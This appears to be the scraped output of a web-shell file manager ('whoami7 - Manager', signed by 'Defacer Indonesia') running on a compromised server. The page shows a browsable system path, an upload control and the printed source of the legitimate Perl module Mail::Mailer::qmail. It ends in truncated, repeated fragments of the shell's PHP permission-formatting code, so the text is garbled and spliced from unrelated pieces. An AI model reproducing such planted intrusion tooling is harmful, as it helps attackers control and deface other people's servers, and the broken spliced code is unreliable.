whoami7 - Manager

: /proc/self/root/usr/local/share/perl5/Mail/Mailer/ Upload File: files >> //proc/self/root/usr/local/share/perl5/Mail/Mailer/qmail.pm # Copyrights 1995-2019 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of the bundle MailTools. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md for Copyright. # Licensed under the same terms as Perl itself. package Mail::Mailer::qmail; use vars '$VERSION'; $VERSION = '2.21'; use base 'Mail::Mailer::rfc822'; use strict; sub exec($$$$) { my($self, $exe, $args, $to, $sender) = @_; my $address = defined $sender && $sender =~ m/\<(.*?)\>/ ? $1 : $sender; exec($exe, (defined $address ? "-f$address" : ())); die "ERROR: cannot run $exe: $!"; } 1; Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>